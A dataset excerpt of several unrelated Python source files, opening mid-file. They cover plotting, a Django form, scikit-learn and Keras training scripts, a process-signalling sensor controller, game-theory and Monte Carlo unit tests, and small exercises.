nx.draw_networkx_edges(g, pos, [(point1, point2)], edge_color='green', ax=axes) points_set = seg.points.copy() point1 = points_set.pop() point2 = points_set.pop() pos = {point1: point1, point2: point2} nx.draw_networkx_edges(g, pos, [(point1, point2)], edge_color='black', ax=axes) pyplot.gca().set_aspect('equal', adjustable='box') pyplot.xlabel('x') pyplot.ylabel('y') pyplot.title('Najlepszy osobnik') handles, labels = axes.get_legend_handles_labels() legend = axes.legend(handles, labels, loc='upper center', ncol=3, bbox_to_anchor=(0.5, -0.1)) legend.get_frame().set_alpha(0.5) file_out = filename + '_' + datetime.datetime.today().strftime(self.format) + '_best.png' print "Generate best individual raport: \t" + file_out pyplot.savefig(raport_out_dir + "/" + file_out, bbox_extra_artists=(legend,), bbox_inches='tight') pyplot.close(figure) def plot_average(self, size, data_per_iteration, raport_out_dir, filename, params): figure, axes = pyplot.subplots() x = range(1, size + 1) y = data_per_iteration[1] yerr_min = data_per_iteration[0] yerr_max = data_per_iteration[2] pyplot.xlabel('Numer iteracji (i)') pyplot.ylabel('Funkcja celu (O)') pyplot.title('Przebieg dzialania algorytmu') pyplot.errorbar(x, y, yerr=[yerr_min, yerr_max], capsize=2, color='black', label='O(i)') x = range(0) y = range(0) pyplot.plot(x, y, color='white', label='P: ' + str(params[0]) + '\nE: ' + str(params[1]) + '\nI: ' + str(params[2]) + '\nM: ' + str(params[3])) handles, labels = axes.get_legend_handles_labels() legend = axes.legend(handles, labels, loc='upper center', ncol=2, bbox_to_anchor=(0.5, -0.1)) legend.get_frame().set_alpha(0.5) file_out = filename + '_' + datetime.datetime.today().strftime(self.format) + '_data_summary.png' print "Generate summary raport: \t\t" + file_out pyplot.savefig(raport_out_dir + "/" + file_out, bbox_extra_artists=(legend,), bbox_inches='tight') pyplot.close(figure)
20,161
38f5452789c76cca51ceec3a4e3014c015941c16
from django import forms from django.core.validators import MinValueValidator, MaxValueValidator ALL_in = 'All' MECHANIC = 'Mechanic' AUTOMATIC = 'Automatic' ROBOTIC = 'Robotic' TRANSMISSION = [ (ALL_in, 'all'), (MECHANIC, 'mechanics'), (AUTOMATIC, 'automatic'), (ROBOTIC, 'robotic'), ] class SearchForm(forms.Form): producer = forms.CharField(max_length=255, required=False) model = forms.CharField(max_length=255, required=False) release_year = forms.IntegerField( validators=[MinValueValidator(1920), MaxValueValidator(2020)], required=False ) transmission = forms.ChoiceField(choices=TRANSMISSION, required=False, widget=forms.Select()) color = forms.CharField(max_length=150, required=False) class OneRowSearch(forms.Form): search = forms.CharField(max_length=255, required=False, label='')
20,162
5f9011b1e1c9ab203d19bfcac8eee8c4d65eedef
import numpy as np import pandas as pd import matplotlib.pyplot as plt data = pd.read_csv("/home/akshays/programs/learn.py/files.py/decisiontree/salary1.csv") print(data) data.head() print(data['Salary'].unique()) print(data.Salary.value_counts()) from sklearn.model_selection import train_test_split x=data.iloc[:,:13] y=data.iloc[:,13] train_x,test_x,train_y,test_y = train_test_split(x,y,test_size = 0.2,random_state=0) from sklearn.tree import DecisionTreeClassifier model = DecisionTreeClassifier(criterion='entropy') model.fit(train_x,train_y) preds = model.predict(test_x) from sklearn.metrics import confusion_matrix from sklearn.metrics import accuracy_score confusion_matrix1 = confusion_matrix(test_y,preds) print (confusion_matrix1) print("Accuracy:",accuracy_score(test_y,preds))
20,163
f65028a8e22664248604cd75da0ebe7cc40059a5
import time import os import signal import subprocess """ Global Variables """ SLEEP_MODE = False """ Signal Handlers """ def handle_change_cmd(signum, stack): print "Changing parameter..." time.sleep(3) def handle_send_compensation(signum, stack): print "sending compensation value..." time.sleep(3) def handle_send_circadian(signum, stack): print "sending circadian value..." time.sleep(3) """ Non-Signal Handler Functions """ ## """ Signal declarations (software interrupts) SIGQUIT: kill -3 is for when user changes parameter SIGILL: kill -4 is for when the system entered sleep mode SIGTRAP: kill -5 is for when the system exits sleep mode SIGIOT: kill -6 is for when the rgb_sensor.py sends compensation values SIGEMT: kill -7 is for when the send_circadian_values.py sends brightness values every minute """ signal.signal(signal.SIGQUIT, handle_change_cmd) signal.signal(signal.SIGIOT, handle_send_compensation) signal.signal(7, handle_send_circadian) begin_timer = time.time() while True: current_timer = time.time() time_diff = int(current_timer - begin_timer) if time_diff >= 60 and not SLEEP_MODE: SLEEP_MODE = True rgb_sensor_pid = int(subprocess.check_output(['pgrep', '-f', 'rgb_sensor.py'])) send_circadian_pid = int(subprocess.check_output(['pgrep', '-f', 'send_circadian_values.py'])) print "Should go to sleep mode", rgb_sensor_pid os.kill(rgb_sensor_pid, signal.SIGILL) os.kill(send_circadian_pid, signal.SIGILL) begin_timer = time.time() elif time_diff >= 60 and SLEEP_MODE: SLEEP_MODE = False rgb_sensor_pid = int(subprocess.check_output(['pgrep', '-f', 'rgb_sensor.py'])) send_circadian_pid = int(subprocess.check_output(['pgrep', '-f', 'send_circadian_values.py'])) print "Should exit sleep mode", rgb_sensor_pid os.kill(rgb_sensor_pid, signal.SIGTRAP) os.kill(send_circadian_pid, signal.SIGTRAP) begin_timer = time.time()
20,164
d4a2f6ff64fe2fbd01eced4252a792714f9a109d
#!/usr/bin/env python """ """ # Standard library modules. import unittest import logging # Third party modules. # Local modules. from pymontecarlo.testcase import TestCase from pymontecarlo.simulation import Simulation from pymontecarlo.options.material import Material from pymontecarlo.options.sample import \ SubstrateSample, HorizontalLayerSample, VerticalLayerSample from pymontecarlo.util.future import Token from pymontecarlo_casino2.worker import Casino2Worker from pymontecarlo_casino2.program import Casino2Program # Globals and constants variables. # TODO: Test if headless class TestCasino2Worker(TestCase): def setUp(self): super().setUp() self.token = Token() self.outputdir = self.create_temp_dir() self.options = self.create_basic_options() self.options.program = Casino2Program() self.options.program.number_trajectories = 50 self.worker = Casino2Worker() def _run_and_test(self, sample): self.options.sample = sample simulation = Simulation(self.options) self.worker.run(self.token, simulation, self.outputdir) self.assertEqual(1, len(simulation.results)) def testsubstrate(self): sample = SubstrateSample(Material.pure(39)) self._run_and_test(sample) def testhorizontallayers2(self): sample = HorizontalLayerSample(Material.pure(39)) sample.add_layer(Material.pure(40), 20e-9) self._run_and_test(sample) def testhorizontallayers3(self): sample = HorizontalLayerSample(Material.pure(39)) sample.add_layer(Material.pure(40), 20e-9) sample.add_layer(Material.pure(41), 20e-9) self._run_and_test(sample) def testhorizontallayers4(self): sample = HorizontalLayerSample(Material.pure(39)) sample.add_layer(Material.pure(40), 20e-9) sample.add_layer(Material.pure(41), 20e-9) sample.add_layer(Material.pure(42), 20e-9) self._run_and_test(sample) def testhorizontallayers5(self): sample = HorizontalLayerSample(Material.pure(39)) sample.add_layer(Material.pure(40), 20e-9) sample.add_layer(Material.pure(41), 20e-9) sample.add_layer(Material.pure(42), 20e-9) sample.add_layer(Material.pure(44), 20e-9) self._run_and_test(sample) def testhorizontallayers6(self): sample = HorizontalLayerSample(Material.pure(39)) sample.add_layer(Material.pure(40), 20e-9) sample.add_layer(Material.pure(41), 20e-9) sample.add_layer(Material.pure(42), 20e-9) sample.add_layer(Material.pure(44), 20e-9) sample.add_layer(Material.pure(45), 20e-9) self._run_and_test(sample) def testhorizontallayers7(self): sample = HorizontalLayerSample(Material.pure(39)) sample.add_layer(Material.pure(40), 20e-9) sample.add_layer(Material.pure(41), 20e-9) sample.add_layer(Material.pure(42), 20e-9) sample.add_layer(Material.pure(44), 20e-9) sample.add_layer(Material.pure(45), 20e-9) sample.add_layer(Material.pure(46), 20e-9) self._run_and_test(sample) def testhorizontallayers8(self): sample = HorizontalLayerSample(Material.pure(39)) sample.add_layer(Material.pure(40), 20e-9) sample.add_layer(Material.pure(41), 20e-9) sample.add_layer(Material.pure(42), 20e-9) sample.add_layer(Material.pure(44), 20e-9) sample.add_layer(Material.pure(45), 20e-9) sample.add_layer(Material.pure(46), 20e-9) sample.add_layer(Material.pure(47), 20e-9) self._run_and_test(sample) def testhorizontallayers9(self): sample = HorizontalLayerSample(Material.pure(39)) sample.add_layer(Material.pure(40), 20e-9) sample.add_layer(Material.pure(41), 20e-9) sample.add_layer(Material.pure(42), 20e-9) sample.add_layer(Material.pure(44), 20e-9) sample.add_layer(Material.pure(45), 20e-9) sample.add_layer(Material.pure(46), 20e-9) sample.add_layer(Material.pure(47), 20e-9) sample.add_layer(Material.pure(48), 20e-9) self._run_and_test(sample) def testhorizontallayers10(self): sample = HorizontalLayerSample(Material.pure(39)) sample.add_layer(Material.pure(40), 20e-9) sample.add_layer(Material.pure(41), 20e-9) sample.add_layer(Material.pure(42), 20e-9) sample.add_layer(Material.pure(44), 20e-9) sample.add_layer(Material.pure(45), 20e-9) sample.add_layer(Material.pure(46), 20e-9) sample.add_layer(Material.pure(47), 20e-9) sample.add_layer(Material.pure(48), 20e-9) sample.add_layer(Material.pure(49), 20e-9) self._run_and_test(sample) def testhorizontallayers11(self): sample = HorizontalLayerSample(Material.pure(39)) sample.add_layer(Material.pure(40), 20e-9) sample.add_layer(Material.pure(41), 20e-9) sample.add_layer(Material.pure(42), 20e-9) sample.add_layer(Material.pure(44), 20e-9) sample.add_layer(Material.pure(45), 20e-9) sample.add_layer(Material.pure(46), 20e-9) sample.add_layer(Material.pure(47), 20e-9) sample.add_layer(Material.pure(48), 20e-9) sample.add_layer(Material.pure(49), 20e-9) sample.add_layer(Material.pure(50), 20e-9) self._run_and_test(sample) def testverticallayers2(self): sample = VerticalLayerSample(Material.pure(39), Material.pure(40)) self._run_and_test(sample) def testverticallayers3(self): sample = VerticalLayerSample(Material.pure(39), Material.pure(40)) sample.add_layer(Material.pure(41), 20e-9) self._run_and_test(sample) def testverticallayers4(self): sample = VerticalLayerSample(Material.pure(39), Material.pure(40)) sample.add_layer(Material.pure(41), 20e-9) sample.add_layer(Material.pure(42), 20e-9) self._run_and_test(sample) def testverticallayers5(self): sample = VerticalLayerSample(Material.pure(39), Material.pure(40)) sample.add_layer(Material.pure(41), 20e-9) sample.add_layer(Material.pure(42), 20e-9) sample.add_layer(Material.pure(44), 20e-9) self._run_and_test(sample) def testverticallayers6(self): sample = VerticalLayerSample(Material.pure(39), Material.pure(40)) sample.add_layer(Material.pure(41), 20e-9) sample.add_layer(Material.pure(42), 20e-9) sample.add_layer(Material.pure(44), 20e-9) sample.add_layer(Material.pure(45), 20e-9) self._run_and_test(sample) def testverticallayers7(self): sample = VerticalLayerSample(Material.pure(39), Material.pure(40)) sample.add_layer(Material.pure(41), 20e-9) sample.add_layer(Material.pure(42), 20e-9) sample.add_layer(Material.pure(44), 20e-9) sample.add_layer(Material.pure(45), 20e-9) sample.add_layer(Material.pure(46), 20e-9) self._run_and_test(sample) def testverticallayers8(self): sample = VerticalLayerSample(Material.pure(39), Material.pure(40)) sample.add_layer(Material.pure(41), 20e-9) sample.add_layer(Material.pure(42), 20e-9) sample.add_layer(Material.pure(44), 20e-9) sample.add_layer(Material.pure(45), 20e-9) sample.add_layer(Material.pure(46), 20e-9) sample.add_layer(Material.pure(47), 20e-9) self._run_and_test(sample) def testverticallayers9(self): sample = VerticalLayerSample(Material.pure(39), Material.pure(40)) sample.add_layer(Material.pure(41), 20e-9) sample.add_layer(Material.pure(42), 20e-9) sample.add_layer(Material.pure(44), 20e-9) sample.add_layer(Material.pure(45), 20e-9) sample.add_layer(Material.pure(46), 20e-9) sample.add_layer(Material.pure(47), 20e-9) sample.add_layer(Material.pure(48), 20e-9) self._run_and_test(sample) def testverticallayers10(self): sample = VerticalLayerSample(Material.pure(39), Material.pure(40)) sample.add_layer(Material.pure(41), 20e-9) sample.add_layer(Material.pure(42), 20e-9) sample.add_layer(Material.pure(44), 20e-9) sample.add_layer(Material.pure(45), 20e-9) sample.add_layer(Material.pure(46), 20e-9) sample.add_layer(Material.pure(47), 20e-9) sample.add_layer(Material.pure(48), 20e-9) sample.add_layer(Material.pure(49), 20e-9) self._run_and_test(sample) def testverticallayers11(self): sample = VerticalLayerSample(Material.pure(39), Material.pure(40)) sample.add_layer(Material.pure(41), 20e-9) sample.add_layer(Material.pure(42), 20e-9) sample.add_layer(Material.pure(44), 20e-9) sample.add_layer(Material.pure(45), 20e-9) sample.add_layer(Material.pure(46), 20e-9) sample.add_layer(Material.pure(47), 20e-9) sample.add_layer(Material.pure(48), 20e-9) sample.add_layer(Material.pure(49), 20e-9) sample.add_layer(Material.pure(50), 20e-9) self._run_and_test(sample) if __name__ == '__main__': #pragma: no cover logging.getLogger().setLevel(logging.DEBUG) unittest.main()
20,165
f1fc0f80a8289c1b5b07cd0e2ce6c157da45a296
""" Challenge030 """ def main(): """ challenge030 """ # Get maximum digits digits = 1 per_digit = 9**5 while (digits * per_digit) > (10**(digits)): digits += 1 grand_total = 0 for i in range(2, (9**5) * digits + 1): i = str(i) total = 0 for digit in i: digit = int(digit) total += digit**5 if total == int(i): grand_total += total return grand_total
20,166
a81ac4a5bd9a301626b4d3d352b980f4278281f2
def ejercicio1(): asignatura = None lista = list() while asignatura != '0': asignatura = input("Ingrese nombre de asignatura (0 para salir): ") if asignatura != '0': lista.append(asignatura) print(lista) ejercicio1()
20,167
79e3f64d28b8ff1d53d921d84415dcb2e5c713df
import pygame class Stats(): def __init__(self, screen, settings, gun, playbutton, Bullets): # Object self.settings = settings self.screen = screen self.screen_rect = self.screen.get_rect() self.gun = gun self.playbutton = playbutton self.Bullets = Bullets self.hits = 0 self.misses = 0 self.accuracy = 0.0 self.level = 1 self.hits_font = pygame.font.SysFont(self.settings.hits_font, self.settings.hits_text_size) self.hits_image = self.hits_font.render(f'Hits: {self.hits}', True, self.settings.hits_text_color) self.hits_rect = self.hits_image.get_rect() self.hits_rect.y = 5 self.misses_font = pygame.font.SysFont(self.settings.misses_font, self.settings.misses_text_size) self.misses_image = self.misses_font.render(f'Misses: {self.misses}', True, self.settings.misses_text_color) self.misses_rect = self.misses_image.get_rect() self.misses_rect.y = self.hits_rect.bottom self.accuracy_font = pygame.font.SysFont(self.settings.accuracy_font, self.settings.accuracy_text_size) self.accuracy_image = self.accuracy_font.render(f'Accuracy: ' + ('{:.6}'.format(str(self.accuracy)) + '%'), True, self.settings.accuracy_text_color) self.accuracy_rect = self.accuracy_image.get_rect() self.accuracy_rect.y = 15 self.level_font = pygame.font.SysFont(self.settings.level_font, self.settings.level_text_size) self.level_image = self.level_font.render(f'Level: ' + str(self.level), True, self.settings.level_text_color) self.level_rect = self.level_image.get_rect() def check(self): '''Check stats.''' self.accuracy_check() self.misses_check() self.level_up_check() def accuracy_check(self): if self.misses or self.hits: self.accuracy = self.hits / (self.hits + self.misses) def misses_check(self): if self.misses == self.settings.misses_allowed: self.playbutton.active = True while self.playbutton.active: self.blit() self.Bullets.empty() self.playbutton.settings.playbutton_text = 'RESTART' self.playbutton.blit() self.gun.reload() self.reset() def level_up_check(self): '''If hits is equal to hit-tracking (default: 7), increase level by 1 and add (static) hits_to_level_up to (dynamic) hit-tracking and increase target speed.''' if self.hits == self.settings.hits_tracking: self.level = int(self.hits / self.settings.num_of_cartridges)+1 self.settings.hits_tracking += self.settings.hits_to_level_up self.settings.target_movement_speed += self.settings.target_level_speed_increase def reset(self): '''Reset values to default state.''' self.hits = 0 self.misses = 0 self.accuracy = 0.0 self.level = 1 self.target_movement_speed = 0.5 def blit(self): self.hits_image = self.hits_font.render(f'Hits: {self.hits}', True, self.settings.hits_text_color) self.misses_image = self.misses_font.render(f'Misses: {self.misses}/{self.settings.misses_allowed}', True, self.settings.misses_text_color) self.accuracy_image = self.accuracy_font.render('Accuracy: '+('{:.4}'.format(str(self.accuracy))+'%'), True, self.settings.accuracy_text_color) self.level_image = self.level_font.render(f'Level: ' + str(self.level), True, self.settings.level_text_color) self.hits_rect.right = self.screen_rect.right - self.hits_rect.width # Restatement to reassign rect pos. self.misses_rect.left = self.hits_rect.left # Restatement to reassign rect pos. self.accuracy_rect = self.accuracy_image.get_rect() self.accuracy_rect.centerx = self.screen_rect.centerx self.accuracy_rect.y = 15 self.level_rect = self.level_image.get_rect() self.level_rect.right = self.hits_rect.left - 15 self.level_rect.y = self.hits_rect.y self.screen.blit(self.hits_image, self.hits_rect) self.screen.blit(self.misses_image, self.misses_rect) self.screen.blit(self.accuracy_image, self.accuracy_rect) self.screen.blit(self.level_image, self.level_rect)
20,168
300d80ff861a3a99eec6e8cc4759862fc88743aa
"""Test matrix game""" import itertools import json import random import numpy as np import numpy.random as rand import pytest from gameanalysis import gamegen from gameanalysis import matgame from gameanalysis import paygame from gameanalysis import rsgame from gameanalysis import utils def full_game(role_names, role_players, strat_names): """Return a full game""" base = rsgame.empty_names(role_names, role_players, strat_names) return paygame.game_replace( base, base.all_profiles(), np.zeros((base.num_all_profiles, base.num_strats)) ) @pytest.mark.parametrize( "strats", [ [1], [3], [2, 3], [1, 2, 3], [2, 3, 1], ], ) def test_random_min_max(strats): """Test min and max""" payoffs = rand.random(tuple(strats) + (len(strats),)) matg = matgame.matgame(payoffs) game = paygame.game_copy(matg) assert np.allclose(matg.min_strat_payoffs(), game.min_strat_payoffs()) assert np.allclose(matg.max_strat_payoffs(), game.max_strat_payoffs()) @pytest.mark.parametrize( "strats", [ [3], [2, 3], [1, 2, 3], [2, 3, 1], ], ) def test_random_normalize(strats): """Test normalize""" payoffs = rand.random(tuple(strats) + (len(strats),)) matg = matgame.matgame(payoffs).normalize() assert np.allclose(matg.min_role_payoffs(), 0) assert np.allclose(matg.max_role_payoffs(), 1) def test_compress_profiles(): """Test compress profiles""" matg = matgame.matgame(rand.random((2, 3, 4, 3))) prof = [0, 1, 0, 1, 0, 1, 0, 0, 0] comp_prof = [1, 1, 0] assert np.all(comp_prof == matg.compress_profile(prof)) assert np.all(prof == matg.uncompress_profile(comp_prof)) prof = [0, 1, 1, 0, 0, 0, 0, 0, 1] comp_prof = [1, 0, 3] assert np.all(comp_prof == matg.compress_profile(prof)) assert np.all(prof == matg.uncompress_profile(comp_prof)) def test_profiles_payoffs(): """Test payoffs""" matg = matgame.matgame([[[1, 2], [3, 4]], [[5, 6], [7, 8]]]) copy = paygame.game_copy(matg) profs = [[1, 0, 1, 0], [1, 0, 0, 1], [0, 1, 1, 0], [0, 1, 0, 1]] pays = [[1, 0, 2, 0], [3, 0, 0, 4], [0, 5, 6, 0], [0, 7, 0, 8]] game = paygame.game([1, 1], 2, profs, pays) assert copy == game @pytest.mark.parametrize( "strats", [ [1], [3], [2, 3], [1, 2, 3], [2, 3, 1], ], ) def test_random_compress_profiles(strats): """Test compress profiles""" payoffs = rand.random(tuple(strats) + (len(strats),)) matg = matgame.matgame(payoffs) prof = matg.random_profile() copy_prof = matg.uncompress_profile(matg.compress_profile(prof)) assert np.all(prof == copy_prof) profs = matg.random_profiles(20) copy_profs = matg.uncompress_profile(matg.compress_profile(profs)) assert np.all(profs == copy_profs) profs = matg.random_profiles(20).reshape((4, 5, -1)) copy_profs = matg.uncompress_profile(matg.compress_profile(profs)) assert np.all(profs == copy_profs) def test_get_payoffs(): """Test get payoffs""" payoffs = [[[1, 2], [3, 4]], [[5, 6], [7, 8]]] matg = matgame.matgame(payoffs) expected = [1, 0, 2, 0] assert np.allclose(expected, matg.get_payoffs([1, 0, 1, 0])) expected = [3, 0, 0, 4] assert np.allclose(expected, matg.get_payoffs([1, 0, 0, 1])) expected = [0, 5, 6, 0] assert np.allclose(expected, matg.get_payoffs([0, 1, 1, 0])) expected = [0, 7, 0, 8] assert np.allclose(expected, matg.get_payoffs([0, 1, 0, 1])) @pytest.mark.parametrize( "strats", [ [1], [3], [2, 3], [1, 2, 3], [2, 3, 1], ], ) def test_random_get_payoffs(strats): """Test random get payoffs""" payoffs = rand.random(tuple(strats) + (len(strats),)) matg = matgame.matgame(payoffs) profiles = matg.random_profiles(20).reshape((4, 5, -1)) payoffs = matg.get_payoffs(profiles) assert profiles.shape == payoffs.shape assert np.all((profiles > 0) | (payoffs == 0)) @pytest.mark.parametrize( "strats", [ [1], [3], [2, 3], [1, 2, 3], [2, 3, 1], ], ) def test_random_deviations(strats): """Test random devs""" payoffs = rand.random(tuple(strats) + (len(strats),)) matg = matgame.matgame(payoffs) game = paygame.game_copy(matg) mix = matg.random_mixture() matdev = matg.deviation_payoffs(mix) gamedev = game.deviation_payoffs(mix) assert np.allclose(matdev, gamedev) matdev, matjac = matg.deviation_payoffs(mix, jacobian=True) gamedev, gamejac = game.deviation_payoffs(mix, jacobian=True) assert np.allclose(matdev, gamedev) assert np.allclose(matjac, gamejac) for mix in matg.random_mixtures(20): matdev, matjac = matg.deviation_payoffs(mix, jacobian=True) gamedev, gamejac = game.deviation_payoffs(mix, jacobian=True) assert np.allclose(matdev, gamedev) assert np.allclose(matjac, gamejac) @pytest.mark.parametrize( "strats", [ [1], [3], [2, 3], [1, 2, 3], [2, 3, 1], ], ) def test_random_invariants(strats): """Test invariants""" payoffs = rand.random(tuple(strats) + (len(strats),)) matg = matgame.matgame(payoffs) assert not matg.is_empty() assert matg.is_complete() prof = matg.random_profile() assert prof in matg for prof in matg.random_profiles(20): assert prof in matg assert np.allclose(matg.payoffs(), matg.get_payoffs(matg.profiles())) def test_is_constant_sum(): """Test constant sum""" payoffs = [[[2, -1], [0, 1]], [[5, -4], [0.5, 0.5]]] matg = matgame.matgame(payoffs) assert matg.is_constant_sum() payoffs = [[[2, -1], [0, 1]], [[5, -4], [0.5, 0]]] matg = matgame.matgame(payoffs) assert not matg.is_constant_sum() def test_submatgame(): """Test restrict""" matrix = rand.random((2, 3, 4, 3)) matg = matgame.matgame(matrix) mask = [True, True, True, False, True, False, False, True, True] submat = matrix[:, [0, 2]][:, :, 2:].copy() smatg = matgame.matgame_names( ["r0", "r1", "r2"], [["s0", "s1"], ["s2", "s4"], ["s7", "s8"]], submat ) assert smatg == matg.restrict(mask) matg = matgame.matgame([[[1, 2], [3, 4]], [[5, 6], [7, 8]]]) mask = [True, True, True, False] matg = matgame.matgame_names( ["r0", "r1"], [["s0", "s1"], ["s2"]], [[[1, 2]], [[5, 6]]] ) @pytest.mark.parametrize( "strats", [ [1], [3], [2, 3], [1, 2, 3], [2, 3, 1], ], ) def test_random_matgame_hash_eq(strats): """Test hash and eq""" payoffs = rand.random(tuple(strats) + (len(strats),)) matg = matgame.matgame(payoffs) copy = matgame.matgame_copy(matg) assert hash(copy) == hash(matg) assert copy == matg game = paygame.game_copy(matg) copy = matgame.matgame_copy(game) assert hash(copy) == hash(matg) assert copy == matg def test_matgame_repr(): """Test repr""" matg = matgame.matgame(rand.random((2, 1))) assert repr(matg) == "MatrixGame([2])" matg = matgame.matgame(rand.random((2, 3, 2))) assert repr(matg) == "MatrixGame([2 3])" @pytest.mark.parametrize( "players,strats", [ (1, [2, 2]), (2, 2), ([1, 2], 2), ([4, 3], [4, 3]), ([2, 3, 4], [4, 3, 2]), ], ) def test_random_matgame_copy(players, strats): """Test copy""" game = gamegen.game(players, strats) matg = matgame.matgame_copy(game) inds = np.cumsum(game.num_role_players[:-1] * game.num_role_strats[:-1]) mprofs = matg.random_profiles(20) mpays = matg.get_payoffs(mprofs) mpays = np.concatenate( [ m.reshape(20, p, -1).mean(1).filled(0) for m, p in zip( np.split(np.ma.masked_array(mpays, mprofs == 0), inds, 1), game.num_role_players, ) ], 1, ) profs = np.concatenate( [ m.reshape(20, p, -1).sum(1) for m, p in zip(np.split(mprofs, inds, 1), game.num_role_players) ], 1, ) pays = game.get_payoffs(profs) assert np.allclose(mpays, pays) def test_serialize_copy_role_lengths(): """Test role lengths""" game = full_game(["a", "b"], [1, 1], [["1", "2"], ["3", "4", "5"]]) matg = matgame.matgame_copy(game) expected = matgame.matgame_names( ["a", "b"], [["1", "2"], ["3", "4", "5"]], np.zeros((2, 3, 2)) ) assert utils.is_sorted(matg.role_names) assert matg == expected game = full_game(["a", "b"], [2, 1], [["1", "2"], ["3", "4", "5"]]) matg = matgame.matgame_copy(game) expected = matgame.matgame_names( ["ap0", "ap1", "bp0"], [["1", "2"], ["1", "2"], ["3", "4", "5"]], np.zeros((2, 2, 3, 3)), ) assert utils.is_sorted(matg.role_names) assert matg == expected def test_serialize_copy_role_lengths_natural(): """Test natural role lengths""" game = full_game(["q", "qq"], [2, 1], [["1", "2"], ["3", "4", "5"]]) matg = matgame.matgame_copy(game) expected = matgame.matgame_names( ["qp0", "qp1", "qqp0"], [["1", "2"], ["1", "2"], ["3", "4", "5"]], np.zeros((2, 2, 3, 3)), ) assert utils.is_sorted(matg.role_names) assert matg == expected def test_serialize_copy_role_lengths_unlikely(): """Test unlikely role lengths""" game = full_game(["a", "aa"], [2, 1], [["1", "2"], ["3", "4", "5"]]) matg = matgame.matgame_copy(game) expected = matgame.matgame_names( ["0_ap0", "0_ap1", "1aap0"], [["1", "2"], ["1", "2"], ["3", "4", "5"]], np.zeros((2, 2, 3, 3)), ) assert utils.is_sorted(matg.role_names) assert matg == expected def random_names(num): """Produce `num` random sorted unique strings""" return tuple( sorted(itertools.islice(utils.iunique(utils.random_strings(1, 3)), num)) ) @pytest.mark.parametrize("_", range(20)) def test_random_serialize_copy_role_lengths(_): """Test serialization copy""" num_roles = random.randint(2, 3) roles = random_names(num_roles) strats = tuple(random_names(random.randint(2, 3)) for _ in range(num_roles)) players = [random.randint(1, 3) for _ in range(num_roles)] game = full_game(roles, players, strats) matg = matgame.matgame_copy(game) assert utils.is_sorted(matg.role_names) def test_to_from_json(): """Test to and from json""" matg = matgame.matgame([[[1, 2], [3, 4]], [[5, 6], [7, 8]], [[9, 10], [11, 12]]]) mjson = { "players": {"r0": 1, "r1": 1}, "strategies": {"r0": ["s0", "s1", "s2"], "r1": ["s3", "s4"]}, "payoffs": { "s0": {"s3": {"r0": 1, "r1": 2}, "s4": {"r0": 3, "r1": 4}}, "s1": {"s3": {"r0": 5, "r1": 6}, "s4": {"r0": 7, "r1": 8}}, "s2": {"s3": {"r0": 9, "r1": 10}, "s4": {"r0": 11, "r1": 12}}, }, "type": "matrix.1", } assert matg.to_json() == mjson assert json.loads(json.dumps(matg.to_json())) == mjson assert matg == matgame.matgame_json(mjson) @pytest.mark.parametrize( "strats", [ [1], [3], [2, 3], [1, 2, 3], [2, 3, 1], ], ) def test_random_to_from_json(strats): """Test to from json random""" payoffs = rand.random(tuple(strats) + (len(strats),)) matg = matgame.matgame(payoffs) jgame = json.dumps(matg.to_json()) copy = matgame.matgame_json(json.loads(jgame)) assert matg == copy @pytest.mark.parametrize( "strats", [ [1], [3], [2, 3], [1, 2, 3], [2, 3, 1], ], ) def test_random_matrix_addition(strats): """Test addition""" shape = tuple(strats) + (len(strats),) payoffs1 = rand.random(shape) matg1 = matgame.matgame(payoffs1) payoffs2 = rand.random(shape) matg2 = matgame.matgame(payoffs2) assert matg1 + matg2 == matgame.matgame(payoffs1 + payoffs2) @pytest.mark.parametrize( "strats", [ [1], [3], [2, 3], [1, 2, 3], [2, 3, 1], ], ) def test_random_game_addition(strats): """Test random addition""" mpayoffs = rand.random(tuple(strats) + (len(strats),)) matg = matgame.matgame(mpayoffs) payoffs = rand.random(matg.payoffs().shape) payoffs[matg.profiles() == 0] = 0 game = paygame.game_replace(matg, matg.profiles(), payoffs) assert paygame.game_copy(matg + game) == game + matg empty = rsgame.empty_copy(matg) assert matg + empty == empty
20,169
a9bbb68d92c23281540841e0e6de45315966d938
from keras.models import Sequential from keras.layers.convolutional import Conv2D from keras.layers.convolutional import MaxPooling2D from keras.layers.core import Activation, Flatten, Dense from keras import backend as K import keras class LeNet: def build(width,height, depth, classes): model = Sequential() input_shape = (height, width, depth) if K.image_data_format() == "channels_first": input_shape = (depth, height, width) # first block: CONV=>RELU=>POOLING model.add(Conv2D(20, (5,5), strides=(1,1),padding="same", input_shape=input_shape)) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2,2), strides=(2,2))) # second block: CONV =< RELU => POOLING model.add(Conv2D(50, (5,5),strides=(1,1), padding="same")) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2,2), strides=(2,2))) # FC block model.add(Flatten()) model.add(Dense(500)) model.add(Activation("relu")) # softmax classifier model.add(Dense(classes)) model.add(Activation("softmax")) model.summary() return model from keras.optimizers import SGD from sklearn.preprocessing import LabelBinarizer from sklearn.model_selection import train_test_split from sklearn.metrics import classification_report from sklearn import datasets import matplotlib.pyplot as plt import numpy as np print("[INFO] accessing MNIST...") X, Y = datasets.fetch_openml('mnist_784', version=1, return_X_y=True) X=X.astype("float32")/255.0 Y = Y.astype("int") if K.image_data_format() == "channels_first": X = X.reshape(X.shape[0], 1, 28, 28) else: X = X.reshape(X.shape[0], 28, 28, 1) (trainX, testX, trainY, testY) = train_test_split(X, Y, test_size=0.25, random_state=42) print(trainY[:5]) # convert labels from integers to vectors le = LabelBinarizer() trainY = le.fit_transform(trainY) testY = le.fit_transform(testY) print("[INFO] compiling model...") opt = SGD(lr=0.01) model = LeNet.build(width=28, height=28, depth=1, classes=10) model.compile(loss="categorical_crossentropy", optimizer=opt, metrics=["accuracy"]) checkpoint = keras.callbacks.ModelCheckpoint("LeNet_MNIST.h5", save_best_only=True) early_stopping = keras.callbacks.EarlyStopping(patience=5, restore_best_weights=True) history = model.fit(trainX, trainY, validation_data=(testX, testY), batch_size=128, epochs=20, verbose=1, callbacks=[checkpoint, early_stopping]) print("[INFO] evaluating network...") predictions = model.predict(testX, batch_size=128) print(classification_report(testY.argmax(axis=1), predictions.argmax(axis=1), target_names=[str(x) for x in le.classes_])) #plot the training loss and accuracy plt.style.use("ggplot") plt.figure() plt.plot(np.arange(0, 20), history.history["loss"], label="train_loss") plt.plot(np.arange(0, 20), history.history["val_loss"], label="val_loss") plt.plot(np.arange(0, 20), history.history["accuracy"], label="train_accuracy") plt.plot(np.arange(0, 20), history.history["val_accuracy"], label="val_accuracy") plt.title("Training loss and accuracy") plt.xlabel("Epochs") plt.ylabel("Loss/Accuracy") plt.legend() 